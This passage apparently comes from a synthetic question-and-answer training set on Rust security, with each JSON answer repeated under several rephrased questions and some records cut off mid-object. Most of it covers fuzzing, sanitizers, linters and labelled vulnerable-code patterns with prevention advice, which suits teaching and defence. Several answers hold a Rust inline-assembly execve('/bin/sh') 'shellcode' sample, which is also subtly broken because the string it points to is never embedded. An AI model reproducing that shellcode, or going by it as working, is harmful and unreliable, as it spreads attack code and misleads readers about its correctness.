    "example": "\n#![no_std]\n#![no_main]\n\n// Minimal shellcode in Rust\n#[no_mangle]\npub extern \"C\" fn _start() -> ! {\n    unsafe {\n        // Inline assembly for system call\n        asm!(\n            \"mov rax, 59\",        // sys_execve\n            \"lea rdi, [rip+0x10]\", // \"/bin/sh\"\n            \"xor rsi, rsi\",       // argv = NULL\n            \"xor rdx, rdx\",       // envp = NULL\n            \"syscall\",\n            options(noreturn)\n        );\n    }\n}\n\n#[panic_handler]\nfn panic(_: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n                ",
    "compilation": "cargo build --release --target x86_64-unknown-linux-gnu"
  }
}


Instruction: Answer question

Input: Tell me about shellcode development

Output:
{
  "rust_shellcode": {
    "description": "Writing shellcode in Rust",
    "example": "\n#![no_std]\n#![no_main]\n\n// Minimal shellcode in Rust\n#[no_mangle]\npub extern \"C\" fn _start() -> ! {\n    unsafe {\n        // Inline assembly for system call\n        asm!(\n            \"mov rax, 59\",        // sys_execve\n            \"lea rdi, [rip+0x10]\", // \"/bin/sh\"\n            \"xor rsi, rsi\",       // argv = NULL\n            \"xor rdx, rdx\",       // envp = NULL\n            \"syscall\",\n            options(noreturn)\n        );\n    }\n}\n\n#[panic_handler]\nfn panic(_: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n                ",
    "compilation": "cargo build --release --target x86_64-unknown-linux-gnu"
  }
}


Instruction: Answer question

Input: How does shellcode development work?

Output:
{
  "rust_shellcode": {
    "description": "Writing shellcode in Rust",
    "example": "\n#![no_std]\n#![no_main]\n\n// Minimal shellcode in Rust\n#[no_mangle]\npub extern \"C\" fn _start() -> ! {\n    unsafe {\n        // Inline assembly for system call\n        asm!(\n            \"mov rax, 59\",        // sys_execve\n            \"lea rdi, [rip+0x10]\", // \"/bin/sh\"\n            \"xor rsi, rsi\",       // argv = NULL\n            \"xor rdx, rdx\",       // envp = NULL\n            \"syscall\",\n            options(noreturn)\n        );\n    }\n}\n\n#[panic_handler]\nfn panic(_: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n                ",
    "compilation": "cargo build --release --target x86_64-unknown-linux-gnu"
  }
}


Instruction: Answer question

Input: Describe shellcode development

Output:
{
  "rust_shellcode": {
    "description": "Writing shellcode in Rust",
    "example": "\n#![no_std]\n#![no_main]\n\n// Minimal shellcode in Rust\n#[no_mangle]\npub extern \"C\" fn _start() -> ! {\n    unsafe {\n        // Inline assembly for system call\n        asm!(\n            \"mov rax, 59\",        // sys_execve\n            \"lea rdi, [rip+0x10]\", // \"/bin/sh\"\n            \"xor rsi, rsi\",       // argv = NULL\n            \"xor rdx, rdx\",       // envp = NULL\n            \"syscall\",\n            options(noreturn)\n        );\n    }\n}\n\n#[panic_handler]\nfn panic(_: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n                ",
    "compilation": "cargo build --release --target x86_64-unknown-linux-gnu"
  }
}


Instruction: Answer question

Input: What is rop exploitation?

Output:
{
  "finding_gadgets": {
    "description": "Locating ROP gadgets in Rust binaries",
    "characteristics": [
      "Rust binaries have unique gadget patterns",
      "Heavy use of call instructions",
      "Predictable function epilogues"
    ],
    "tools": [
      "ropper",
      "ROPgadget",
      "radare2"
    ]
  },
  "chain_construction": {
    "description": "Building ROP chains for Rust targets",
    "considerations": [
      "Stack alignment requirements",
      "Rust calling conventions",
      "Guard pages and stack cookies"
    ]
  }
}


Instruction: Answer question

Input: Explain rop exploitation

Output:
{
  "finding_gadgets": {
    "description": "Locating ROP gadgets in Rust binaries",
    "characteristics": [
      "Rust binaries have unique gadget patterns",
      "Heavy use of call instructions",
      "Predictable function epilogues"
    ],
    "tools": [
      "ropper",
      "ROPgadget",
      "radare2"
    ]
  },
  "chain_construction": {
    "description": "Building ROP chains for Rust targets",
    "considerations": [
      "Stack alignment requirements",
      "Rust calling conventions",
      "Guard pages and stack cookies"
    ]
  }
}


Instruction: Answer question

Input: Tell me about rop exploitation

Output:
{
  "finding_gadgets": {
    "description": "Locating ROP gadgets in Rust binaries",
    "characteristics": [
      "Rust binaries have unique gadget patterns",
      "Heavy use of call instructions",
      "Predictable function epilogues"
    ],
    "tools": [
      "ropper",
      "ROPgadget",
      "radare2"
    ]
  },
  "chain_construction": {
    "description": "Building ROP chains for Rust targets",
    "considerations": [
      "Stack alignment requirements",
      "Rust calling conventions",
      "Guard pages and stack cookies"
    ]
  }
}


Instruction: Answer question

Input: How does rop exploitation work?

Output:
{
  "finding_gadgets": {
    "description": "Locating ROP gadgets in Rust binaries",
    "characteristics": [
      "Rust binaries have unique gadget patterns",
      "Heavy use of call instructions",
      "Predictable function epilogues"
    ],
    "tools": [
      "ropper",
      "ROPgadget",
      "radare2"
    ]
  },
  "chain_construction": {
    "description": "Building ROP chains for Rust targets",
    "considerations": [
      "Stack alignment requirements",
      "Rust calling conventions",
      "Guard pages and stack cookies"
    ]
  }
}


Instruction: Answer question

Input: Describe rop exploitation

Output:
{
  "finding_gadgets": {
    "description": "Locating ROP gadgets in Rust binaries",
    "characteristics": [
      "Rust binaries have unique gadget patterns",
      "Heavy use of call instructions",
      "Predictable function epilogues"
    ],
    "tools": [
      "ropper",
      "ROPgadget",
      "radare2"
    ]
  },
  "chain_construction": {
    "description": "Building ROP chains for Rust targets",
    "considerations": [
      "Stack alignment requirements",
      "Rust calling conventions",
      "Guard pages and stack cookies"
    ]
  }
}


Instruction: Answer question

Input: What is heap exploitation?

Output:
{
  "rust_allocator": {
    "description": "Exploiting Rust's memory allocator",
    "techniques": [
      "Heap grooming with Vec allocations",
      "Use after free through Rc cycles",
      "Overflow into heap metadata"
    ]
  }
}


Instruction: Answer question

Input: Explain heap exploitation

Output:
{
  "rust_allocator": {
    "description": "Exploiting Rust's memory allocator",
    "techniques": [
      "Heap grooming with Vec allocations",
      "Use after free through Rc cycles",
      "Overflow into heap metadata"
    ]
  }
}


Instruction: Answer question

Input: Tell me about heap exploitation

Output:
{
  "rust_allocator": {
    "description": "Exploiting Rust's memory allocator",
    "techniques": [
      "Heap grooming with Vec allocations",
      "Use after free through Rc cycles",
      "Overflow into heap metadata"
    ]
  }
}


Instruction: Answer question

Input: How does heap exploitation work?

Output:
{
  "rust_allocator": {
    "description": "Exploiting Rust's memory allocator",
    "techniques": [
      "Heap grooming with Vec allocations",
      "Use after free through Rc cycles",
      "Overflow into heap metadata"
    ]
  }
}


Instruction: Answer question

Input: Describe heap exploitation

Output:
{
  "rust_allocator": {
    "description": "Exploiting Rust's memory allocator",
    "techniques": [
      "Heap grooming with Vec allocations",
      "Use after free through Rc cycles",
      "Overflow into heap metadata"
    ]
  }
}


Instruction: Answer question

Input: What is fuzzing tools?

Output:
{
  "cargo_fuzz": {
    "description": "LibFuzzer integration for Rust",
    "setup": "cargo install cargo-fuzz",
    "usage": "\n// fuzz/fuzz_targets/fuzz_target_1.rs\n#![no_main]\nuse libfuzzer_sys::fuzz_target;\n\nfuzz_target!(|data: &[u8]| {\n    // Fuzz your code here\n    if let Ok(s) = std::str::from_utf8(data) {\n        vulnerable_function(s);\n    }\n});\n\n// Run: cargo fuzz run fuzz_target_1\n                ",
    "finding_bugs": [
      "Memory safety violations",
      "Panics",
      "Integer overflows",
      "Logic bugs"
    ]
  },
  "afl_rs": {
    "description": "AFL++ for Rust",
    "setup": "cargo install afl",
    "usage": "cargo afl build && cargo afl fuzz -i in -o out target/debug/binary"
  },
  "honggfuzz": {
    "description": "Honggfuzz for Rust",
    "setup": "cargo install honggfuzz",
    "features": [
      "Coverage guided",
      "Persistent mode",
      "Sanitizer support"
    ]
  }
}


Instruction: Answer question

Input: Explain fuzzing tools

Output:
{
  "cargo_fuzz": {
    "description": "LibFuzzer integration for Rust",
    "setup": "cargo install cargo-fuzz",
    "usage": "\n// fuzz/fuzz_targets/fuzz_target_1.rs\n#![no_main]\nuse libfuzzer_sys::fuzz_target;\n\nfuzz_target!(|data: &[u8]| {\n    // Fuzz your code here\n    if let Ok(s) = std::str::from_utf8(data) {\n        vulnerable_function(s);\n    }\n});\n\n// Run: cargo fuzz run fuzz_target_1\n                ",
    "finding_bugs": [
      "Memory safety violations",
      "Panics",
      "Integer overflows",
      "Logic bugs"
    ]
  },
  "afl_rs": {
    "description": "AFL++ for Rust",
    "setup": "cargo install afl",
    "usage": "cargo afl build && cargo afl fuzz -i in -o out target/debug/binary"
  },
  "honggfuzz": {
    "description": "Honggfuzz for Rust",
    "setup": "cargo install honggfuzz",
    "features": [
      "Coverage guided",
      "Persistent mode",
      "Sanitizer support"
    ]
  }
}


Instruction: Answer question

Input: Tell me about fuzzing tools

Output:
{
  "cargo_fuzz": {
    "description": "LibFuzzer integration for Rust",
    "setup": "cargo install cargo-fuzz",
    "usage": "\n// fuzz/fuzz_targets/fuzz_target_1.rs\n#![no_main]\nuse libfuzzer_sys::fuzz_target;\n\nfuzz_target!(|data: &[u8]| {\n    // Fuzz your code here\n    if let Ok(s) = std::str::from_utf8(data) {\n        vulnerable_function(s);\n    }\n});\n\n// Run: cargo fuzz run fuzz_target_1\n                ",
    "finding_bugs": [
      "Memory safety violations",
      "Panics",
      "Integer overflows",
      "Logic bugs"
    ]
  },
  "afl_rs": {
    "description": "AFL++ for Rust",
    "setup": "cargo install afl",
    "usage": "cargo afl build && cargo afl fuzz -i in -o out target/debug/binary"
  },
  "honggfuzz": {
    "description": "Honggfuzz for Rust",
    "setup": "cargo install honggfuzz",
    "features": [
      "Coverage guided",
      "Persistent mode",
      "Sanitizer support"
    ]
  }
}


Instruction: Answer question

Input: How does fuzzing tools work?

Output:
{
  "cargo_fuzz": {
    "description": "LibFuzzer integration for Rust",
    "setup": "cargo install cargo-fuzz",
    "usage": "\n// fuzz/fuzz_targets/fuzz_target_1.rs\n#![no_main]\nuse libfuzzer_sys::fuzz_target;\n\nfuzz_target!(|data: &[u8]| {\n    // Fuzz your code here\n    if let Ok(s) = std::str::from_utf8(data) {\n        vulnerable_function(s);\n    }\n});\n\n// Run: cargo fuzz run fuzz_target_1\n                ",
    "finding_bugs": [
      "Memory safety violations",
      "Panics",
      "Integer overflows",
      "Logic bugs"
    ]
  },
  "afl_rs": {
    "description": "AFL++ for Rust",
    "setup": "cargo install afl",
    "usage": "cargo afl build && cargo afl fuzz -i in -o out target/debug/binary"
  },
  "honggfuzz": {
    "description": "Honggfuzz for Rust",
    "setup": "cargo install honggfuzz",
    "features": [
      "Coverage guided",
      "Persistent mode",
      "Sanitizer support"
    ]
  }
}


Instruction: Answer question

Input: Describe fuzzing tools

Output:
{
  "cargo_fuzz": {
    "description": "LibFuzzer integration for Rust",
    "setup": "cargo install cargo-fuzz",
    "usage": "\n// fuzz/fuzz_targets/fuzz_target_1.rs\n#![no_main]\nuse libfuzzer_sys::fuzz_target;\n\nfuzz_target!(|data: &[u8]| {\n    // Fuzz your code here\n    if let Ok(s) = std::str::from_utf8(data) {\n        vulnerable_function(s);\n    }\n});\n\n// Run: cargo fuzz run fuzz_target_1\n                ",
    "finding_bugs": [
      "Memory safety violations",
      "Panics",
      "Integer overflows",
      "Logic bugs"
    ]
  },
  "afl_rs": {
    "description": "AFL++ for Rust",
    "setup": "cargo install afl",
    "usage": "cargo afl build && cargo afl fuzz -i in -o out target/debug/binary"
  },
  "honggfuzz": {
    "description": "Honggfuzz for Rust",
    "setup": "cargo install honggfuzz",
    "features": [
      "Coverage guided",
      "Persistent mode",
      "Sanitizer support"
    ]
  }
}


Instruction: Answer question

Input: What is static analysis?

Output:
{
  "miri": {
    "description": "Interpreter for Rust MIR with undefined behavior detection",
    "usage": "cargo +nightly miri test",
    "detects": [
      "Use after free",
      "Out of bounds access",
      "Data races",
      "Memory leaks"
    ]
  },
  "clippy": {
    "description": "Rust linter",
    "security_lints": [
      "clippy::unsound_collection_transmute",
      "clippy::cast_ptr_alignment",
      "clippy::invalid_atomic_ordering"
    ]
  },
  "cargo_audit": {
    "description": "Audit dependencies for vulnerabilities",
    "usage": "cargo audit",
    "checks": "RustSec advisory database"
  }
}


Instruction: Answer question

Input: Explain static analysis

Output:
{
  "miri": {
    "description": "Interpreter for Rust MIR with undefined behavior detection",
    "usage": "cargo +nightly miri test",
    "detects": [
      "Use after free",
      "Out of bounds access",
      "Data races",
      "Memory leaks"
    ]
  },
  "clippy": {
    "description": "Rust linter",
    "security_lints": [
      "clippy::unsound_collection_transmute",
      "clippy::cast_ptr_alignment",
      "clippy::invalid_atomic_ordering"
    ]
  },
  "cargo_audit": {
    "description": "Audit dependencies for vulnerabilities",
    "usage": "cargo audit",
    "checks": "RustSec advisory database"
  }
}


Instruction: Answer question

Input: Tell me about static analysis

Output:
{
  "miri": {
    "description": "Interpreter for Rust MIR with undefined behavior detection",
    "usage": "cargo +nightly miri test",
    "detects": [
      "Use after free",
      "Out of bounds access",
      "Data races",
      "Memory leaks"
    ]
  },
  "clippy": {
    "description": "Rust linter",
    "security_lints": [
      "clippy::unsound_collection_transmute",
      "clippy::cast_ptr_alignment",
      "clippy::invalid_atomic_ordering"
    ]
  },
  "cargo_audit": {
    "description": "Audit dependencies for vulnerabilities",
    "usage": "cargo audit",
    "checks": "RustSec advisory database"
  }
}


Instruction: Answer question

Input: How does static analysis work?

Output:
{
  "miri": {
    "description": "Interpreter for Rust MIR with undefined behavior detection",
    "usage": "cargo +nightly miri test",
    "detects": [
      "Use after free",
      "Out of bounds access",
      "Data races",
      "Memory leaks"
    ]
  },
  "clippy": {
    "description": "Rust linter",
    "security_lints": [
      "clippy::unsound_collection_transmute",
      "clippy::cast_ptr_alignment",
      "clippy::invalid_atomic_ordering"
    ]
  },
  "cargo_audit": {
    "description": "Audit dependencies for vulnerabilities",
    "usage": "cargo audit",
    "checks": "RustSec advisory database"
  }
}


Instruction: Answer question

Input: Describe static analysis

Output:
{
  "miri": {
    "description": "Interpreter for Rust MIR with undefined behavior detection",
    "usage": "cargo +nightly miri test",
    "detects": [
      "Use after free",
      "Out of bounds access",
      "Data races",
      "Memory leaks"
    ]
  },
  "clippy": {
    "description": "Rust linter",
    "security_lints": [
      "clippy::unsound_collection_transmute",
      "clippy::cast_ptr_alignment",
      "clippy::invalid_atomic_ordering"
    ]
  },
  "cargo_audit": {
    "description": "Audit dependencies for vulnerabilities",
    "usage": "cargo audit",
    "checks": "RustSec advisory database"
  }
}


Instruction: Answer question

Input: What is dynamic analysis?

Output:
{
  "address_sanitizer": {
    "description": "Memory error detector",
    "setup": "RUSTFLAGS=-Zsanitizer=address cargo build",
    "detects": [
      "Buffer overflow",
      "Use after free",
      "Double free"
    ]
  },
  "memory_sanitizer": {
    "description": "Uninitialized memory detector",
    "setup": "RUSTFLAGS=-Zsanitizer=memory cargo build"
  },
  "thread_sanitizer": {
    "description": "Data race detector",
    "setup": "RUSTFLAGS=-Zsanitizer=thread cargo build"
  }
}


Instruction: Answer question

Input: Explain dynamic analysis

Output:
{
  "address_sanitizer": {
    "description": "Memory error detector",
    "setup": "RUSTFLAGS=-Zsanitizer=address cargo build",
    "detects": [
      "Buffer overflow",
      "Use after free",
      "Double free"
    ]
  },
  "memory_sanitizer": {
    "description": "Uninitialized memory detector",
    "setup": "RUSTFLAGS=-Zsanitizer=memory cargo build"
  },
  "thread_sanitizer": {
    "description": "Data race detector",
    "setup": "RUSTFLAGS=-Zsanitizer=thread cargo build"
  }
}


Instruction: Answer question

Input: Tell me about dynamic analysis

Output:
{
  "address_sanitizer": {
    "description": "Memory error detector",
    "setup": "RUSTFLAGS=-Zsanitizer=address cargo build",
    "detects": [
      "Buffer overflow",
      "Use after free",
      "Double free"
    ]
  },
  "memory_sanitizer": {
    "description": "Uninitialized memory detector",
    "setup": "RUSTFLAGS=-Zsanitizer=memory cargo build"
  },
  "thread_sanitizer": {
    "description": "Data race detector",
    "setup": "RUSTFLAGS=-Zsanitizer=thread cargo build"
  }
}


Instruction: Answer question

Input: How does dynamic analysis work?

Output:
{
  "address_sanitizer": {
    "description": "Memory error detector",
    "setup": "RUSTFLAGS=-Zsanitizer=address cargo build",
    "detects": [
      "Buffer overflow",
      "Use after free",
      "Double free"
    ]
  },
  "memory_sanitizer": {
    "description": "Uninitialized memory detector",
    "setup": "RUSTFLAGS=-Zsanitizer=memory cargo build"
  },
  "thread_sanitizer": {
    "description": "Data race detector",
    "setup": "RUSTFLAGS=-Zsanitizer=thread cargo build"
  }
}


Instruction: Answer question

Input: Describe dynamic analysis

Output:
{
  "address_sanitizer": {
    "description": "Memory error detector",
    "setup": "RUSTFLAGS=-Zsanitizer=address cargo build",
    "detects": [
      "Buffer overflow",
      "Use after free",
      "Double free"
    ]
  },
  "memory_sanitizer": {
    "description": "Uninitialized memory detector",
    "setup": "RUSTFLAGS=-Zsanitizer=memory cargo build"
  },
  "thread_sanitizer": {
    "description": "Data race detector",
    "setup": "RUSTFLAGS=-Zsanitizer=thread cargo build"
  }
}


Instruction: Answer question

Input: What is exploitation frameworks?

Output:
{
  "pwn_rs": {
    "description": "Rust exploitation framework",
    "features": [
      "ROP chain generation",
      "Shellcode injection",
      "Format string exploitation"
    ]
  },
  "rust_rop": {
    "description": "ROP gadget finder for Rust binaries",
    "usage": "Find gadgets in Rust compiled binaries"
  }
}


Instruction: Answer question

Input: Explain exploitation frameworks

Output:
{
  "pwn_rs": {
    "description": "Rust exploitation framework",
    "features": [
      "ROP chain generation",
      "Shellcode injection",
      "Format string exploitation"
    ]
  },
  "rust_rop": {
    "description": "ROP gadget finder for Rust binaries",
    "usage": "Find gadgets in Rust compiled binaries"
  }
}


Instruction: Answer question

Input: Tell me about exploitation frameworks

Output:
{
  "pwn_rs": {
    "description": "Rust exploitation framework",
    "features": [
      "ROP chain generation",
      "Shellcode injection",
      "Format string exploitation"
    ]
  },
  "rust_rop": {
    "description": "ROP gadget finder for Rust binaries",
    "usage": "Find gadgets in Rust compiled binaries"
  }
}


Instruction: Answer question

Input: How does exploitation frameworks work?

Output:
{
  "pwn_rs": {
    "description": "Rust exploitation framework",
    "features": [
      "ROP chain generation",
      "Shellcode injection",
      "Format string exploitation"
    ]
  },
  "rust_rop": {
    "description": "ROP gadget finder for Rust binaries",
    "usage": "Find gadgets in Rust compiled binaries"
  }
}


Instruction: Answer question

Input: Describe exploitation frameworks

Output:
{
  "pwn_rs": {
    "description": "Rust exploitation framework",
    "features": [
      "ROP chain generation",
      "Shellcode injection",
      "Format string exploitation"
    ]
  },
  "rust_rop": {
    "description": "ROP gadget finder for Rust binaries",
    "usage": "Find gadgets in Rust compiled binaries"
  }
}


Instruction: Answer question

Input: What is unsafe code vulnerabilities?

Output:
{
  "name": "Unsafe Code Exploitation",
  "severity": "Critical",
  "description": "Vulnerabilities in unsafe Rust code blocks",
  "patterns": {
    "raw_pointer_dereferencing": {
      "description": "Unsafe pointer operations leading to memory corruption",
      "vulnerable_code": "\n// VULNERABLE: Unsafe pointer manipulation\nunsafe fn vulnerable_function(ptr: *mut i32) {\n    // No bounds checking\n    *ptr.offset(10) = 42;  // Could be out of bounds\n    \n    // Use after free potential\n    let boxed = Box::new(5);\n    let raw = Box::into_raw(boxed);\n    drop(Box::from_raw(raw));\n                    *raw = 10;  // Use after free!\n}\n                    ",
      "exploitation": "Manipulate memory layout to control pointer targets",
      "prevention": [
        "Minimize unsafe code usage",
        "Use safe abstractions",
        "Validate all pointer operations",
        "Use AddressSanitizer in tests"
      ]
    },
    "uninitialized_memory": {
      "description": "Reading uninitialized memory",
      "vulnerable_code": "\n// VULNERABLE: Uninitialized memory\nunsafe fn leak_memory() -> Vec<u8> {\n    let mut vec = Vec::with_capacity(100);\n    vec.set_len(100);  // Memory not initialized!\n    vec  // Returns garbage data\n}\n\n// Can leak sensitive data from previous allocations\n                    ",
      "exploitation": "Information disclosure through uninitialized memory",
      "prevention": [
        "Always initialize memory",
        "Use MaybeUninit for uninitialized data",
        "Zero memory before use"
      ]
    },
    "data_races": {
      "description": "Race conditions in concurrent code",
      "vulnerable_code": "\n// VULNERABLE: Data race with unsafe\nstatic mut COUNTER: i32 = 0;\n\nunsafe fn increment() {\n    COUNTER += 1;  // Race condition!\n}\n\n// Multiple threads calling increment() = undefined behavior\n                    ",
      "exploitation": "Cause memory corruption through race conditions",
      "prevention": [


Instruction: Answer question

Input: Explain unsafe code vulnerabilities

Output:
{
  "name": "Unsafe Code Exploitation",
  "severity": "Critical",
  "description": "Vulnerabilities in unsafe Rust code blocks",
  "patterns": {
    "raw_pointer_dereferencing": {
      "description": "Unsafe pointer operations leading to memory corruption",
      "vulnerable_code": "\n// VULNERABLE: Unsafe pointer manipulation\nunsafe fn vulnerable_function(ptr: *mut i32) {\n    // No bounds checking\n    *ptr.offset(10) = 42;  // Could be out of bounds\n    \n    // Use after free potential\n    let boxed = Box::new(5);\n    let raw = Box::into_raw(boxed);\n    drop(Box::from_raw(raw));\n                    *raw = 10;  // Use after free!\n}\n                    ",
      "exploitation": "Manipulate memory layout to control pointer targets",
      "prevention": [
        "Minimize unsafe code usage",
        "Use safe abstractions",
        "Validate all pointer operations",
        "Use AddressSanitizer in tests"
      ]
    },
    "uninitialized_memory": {
      "description": "Reading uninitialized memory",
      "vulnerable_code": "\n// VULNERABLE: Uninitialized memory\nunsafe fn leak_memory() -> Vec<u8> {\n    let mut vec = Vec::with_capacity(100);\n    vec.set_len(100);  // Memory not initialized!\n    vec  // Returns garbage data\n}\n\n// Can leak sensitive data from previous allocations\n                    ",
      "exploitation": "Information disclosure through uninitialized memory",
      "prevention": [
        "Always initialize memory",
        "Use MaybeUninit for uninitialized data",
        "Zero memory before use"
      ]
    },
    "data_races": {
      "description": "Race conditions in concurrent code",
      "vulnerable_code": "\n// VULNERABLE: Data race with unsafe\nstatic mut COUNTER: i32 = 0;\n\nunsafe fn increment() {\n    COUNTER += 1;  // Race condition!\n}\n\n// Multiple threads calling increment() = undefined behavior\n                    ",
      "exploitation": "Cause memory corruption through race conditions",
      "prevention": [


Instruction: Answer question

Input: Tell me about unsafe code vulnerabilities

Output:
{
  "name": "Unsafe Code Exploitation",
  "severity": "Critical",
  "description": "Vulnerabilities in unsafe Rust code blocks",
  "patterns": {
    "raw_pointer_dereferencing": {
      "description": "Unsafe pointer operations leading to memory corruption",
      "vulnerable_code": "\n// VULNERABLE: Unsafe pointer manipulation\nunsafe fn vulnerable_function(ptr: *mut i32) {\n    // No bounds checking\n    *ptr.offset(10) = 42;  // Could be out of bounds\n    \n    // Use after free potential\n    let boxed = Box::new(5);\n    let raw = Box::into_raw(boxed);\n    drop(Box::from_raw(raw));\n                    *raw = 10;  // Use after free!\n}\n                    ",
      "exploitation": "Manipulate memory layout to control pointer targets",
      "prevention": [
        "Minimize unsafe code usage",
        "Use safe abstractions",
        "Validate all pointer operations",
        "Use AddressSanitizer in tests"
      ]
    },
    "uninitialized_memory": {
      "description": "Reading uninitialized memory",
      "vulnerable_code": "\n// VULNERABLE: Uninitialized memory\nunsafe fn leak_memory() -> Vec<u8> {\n    let mut vec = Vec::with_capacity(100);\n    vec.set_len(100);  // Memory not initialized!\n    vec  // Returns garbage data\n}\n\n// Can leak sensitive data from previous allocations\n                    ",
      "exploitation": "Information disclosure through uninitialized memory",
      "prevention": [
        "Always initialize memory",
        "Use MaybeUninit for uninitialized data",
        "Zero memory before use"
      ]
    },
    "data_races": {
      "description": "Race conditions in concurrent code",
      "vulnerable_code": "\n// VULNERABLE: Data race with unsafe\nstatic mut COUNTER: i32 = 0;\n\nunsafe fn increment() {\n    COUNTER += 1;  // Race condition!\n}\n\n// Multiple threads calling increment() = undefined behavior\n                    ",
      "exploitation": "Cause memory corruption through race conditions",
      "prevention": [


Instruction: Answer question

Input: How does unsafe code vulnerabilities work?

Output:
{
  "name": "Unsafe Code Exploitation",
  "severity": "Critical",
  "description": "Vulnerabilities in unsafe Rust code blocks",
  "patterns": {
    "raw_pointer_dereferencing": {
      "description": "Unsafe pointer operations leading to memory corruption",
      "vulnerable_code": "\n// VULNERABLE: Unsafe pointer manipulation\nunsafe fn vulnerable_function(ptr: *mut i32) {\n    // No bounds checking\n    *ptr.offset(10) = 42;  // Could be out of bounds\n    \n    // Use after free potential\n    let boxed = Box::new(5);\n    let raw = Box::into_raw(boxed);\n    drop(Box::from_raw(raw));\n                    *raw = 10;  // Use after free!\n}\n                    ",
      "exploitation": "Manipulate memory layout to control pointer targets",
      "prevention": [
        "Minimize unsafe code usage",
        "Use safe abstractions",
        "Validate all pointer operations",
        "Use AddressSanitizer in tests"
      ]
    },
    "uninitialized_memory": {
      "description": "Reading uninitialized memory",
      "vulnerable_code": "\n// VULNERABLE: Uninitialized memory\nunsafe fn leak_memory() -> Vec<u8> {\n    let mut vec = Vec::with_capacity(100);\n    vec.set_len(100);  // Memory not initialized!\n    vec  // Returns garbage data\n}\n\n// Can leak sensitive data from previous allocations\n                    ",
      "exploitation": "Information disclosure through uninitialized memory",
      "prevention": [
        "Always initialize memory",
        "Use MaybeUninit for uninitialized data",
        "Zero memory before use"
      ]
    },
    "data_races": {
      "description": "Race conditions in concurrent code",
      "vulnerable_code": "\n// VULNERABLE: Data race with unsafe\nstatic mut COUNTER: i32 = 0;\n\nunsafe fn increment() {\n    COUNTER += 1;  // Race condition!\n}\n\n// Multiple threads calling increment() = undefined behavior\n                    ",
      "exploitation": "Cause memory corruption through race conditions",
      "prevention": [


Instruction: Answer question

Input: Describe unsafe code vulnerabilities

Output:
{
  "name": "Unsafe Code Exploitation",
  "severity": "Critical",
  "description": "Vulnerabilities in unsafe Rust code blocks",
  "patterns": {
    "raw_pointer_dereferencing": {
      "description": "Unsafe pointer operations leading to memory corruption",
      "vulnerable_code": "\n// VULNERABLE: Unsafe pointer manipulation\nunsafe fn vulnerable_function(ptr: *mut i32) {\n    // No bounds checking\n    *ptr.offset(10) = 42;  // Could be out of bounds\n    \n    // Use after free potential\n    let boxed = Box::new(5);\n    let raw = Box::into_raw(boxed);\n    drop(Box::from_raw(raw));\n                    *raw = 10;  // Use after free!\n}\n                    ",
      "exploitation": "Manipulate memory layout to control pointer targets",
      "prevention": [
        "Minimize unsafe code usage",
        "Use safe abstractions",
        "Validate all pointer operations",
        "Use AddressSanitizer in tests"
      ]
    },
    "uninitialized_memory": {
      "description": "Reading uninitialized memory",
      "vulnerable_code": "\n// VULNERABLE: Uninitialized memory\nunsafe fn leak_memory() -> Vec<u8> {\n    let mut vec = Vec::with_capacity(100);\n    vec.set_len(100);  // Memory not initialized!\n    vec  // Returns garbage data\n}\n\n// Can leak sensitive data from previous allocations\n                    ",
      "exploitation": "Information disclosure through uninitialized memory",
      "prevention": [
        "Always initialize memory",
        "Use MaybeUninit for uninitialized data",
        "Zero memory before use"
      ]
    },
    "data_races": {
      "description": "Race conditions in concurrent code",
      "vulnerable_code": "\n// VULNERABLE: Data race with unsafe\nstatic mut COUNTER: i32 = 0;\n\nunsafe fn increment() {\n    COUNTER += 1;  // Race condition!\n}\n\n// Multiple threads calling increment() = undefined behavior\n                    ",
      "exploitation": "Cause memory corruption through race conditions",
      "prevention": [


Instruction: Answer question

Input: What is ffi vulnerabilities?

Output:
{
  "name": "Foreign Function Interface Exploits",
  "severity": "High",
  "description": "Vulnerabilities at Rust-C/C++ boundaries",
  "patterns": {
    "buffer_overflow_from_c": {
      "description": "Buffer overflows from C libraries",
      "vulnerable_code": "\n// VULNERABLE: Trusting C function with buffer\nextern \"C\" {\n    fn c_function(buffer: *mut u8, size: usize);\n}\n\nfn vulnerable() {\n    let mut buffer = vec![0u8; 100];\n    unsafe {\n        // C function might write beyond buffer size\n        c_function(buffer.as_mut_ptr(), 200);  // Size mismatch!\n    }\n}\n                    ",
      "exploitation": "Classic buffer overflow through FFI",
      "prevention": [
        "Validate all FFI boundaries",
        "Use safe wrappers",
        "Bounds check all buffers"
      ]
    },
    "type_confusion": {
      "description": "Type mismatches across FFI boundary",
      "vulnerable_code": "\n// VULNERABLE: Type confusion\n#[repr(C)]\nstruct RustStruct {\n    field1: i32,\n    field2: i64,\n}\n\nextern \"C\" {\n    // C expects different layout!\n    fn process_struct(s: *const RustStruct);\n}\n                    ",
      "exploitation": "Memory corruption through type confusion",
      "prevention": [
        "Use repr(C) consistently",
        "Validate struct layouts",
        "Use bindgen for C bindings"
      ]
    },
    "lifetime_violations": {
      "description": "Lifetime issues across FFI",
      "vulnerable_code": "\n// VULNERABLE: Lifetime violation\nextern \"C\" fn callback(data: *const u8) {\n    // Store pointer that might become invalid\n    unsafe {\n        STORED_PTR = data;  // Lifetime not tracked!\n    }\n}\n\n// Later use of STORED_PTR = use after free\n                    ",
      "exploitation": "Use-after-free through dangling pointers",
      "prevention": [
        "Never store raw pointers",
        "Use proper lifetime management",
        "Clone data if needed"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain ffi vulnerabilities

Output:
{
  "name": "Foreign Function Interface Exploits",
  "severity": "High",
  "description": "Vulnerabilities at Rust-C/C++ boundaries",
  "patterns": {
    "buffer_overflow_from_c": {
      "description": "Buffer overflows from C libraries",
      "vulnerable_code": "\n// VULNERABLE: Trusting C function with buffer\nextern \"C\" {\n    fn c_function(buffer: *mut u8, size: usize);\n}\n\nfn vulnerable() {\n    let mut buffer = vec![0u8; 100];\n    unsafe {\n        // C function might write beyond buffer size\n        c_function(buffer.as_mut_ptr(), 200);  // Size mismatch!\n    }\n}\n                    ",
      "exploitation": "Classic buffer overflow through FFI",
      "prevention": [
        "Validate all FFI boundaries",
        "Use safe wrappers",
        "Bounds check all buffers"
      ]
    },
    "type_confusion": {
      "description": "Type mismatches across FFI boundary",
      "vulnerable_code": "\n// VULNERABLE: Type confusion\n#[repr(C)]\nstruct RustStruct {\n    field1: i32,\n    field2: i64,\n}\n\nextern \"C\" {\n    // C expects different layout!\n    fn process_struct(s: *const RustStruct);\n}\n                    ",
      "exploitation": "Memory corruption through type confusion",
      "prevention": [
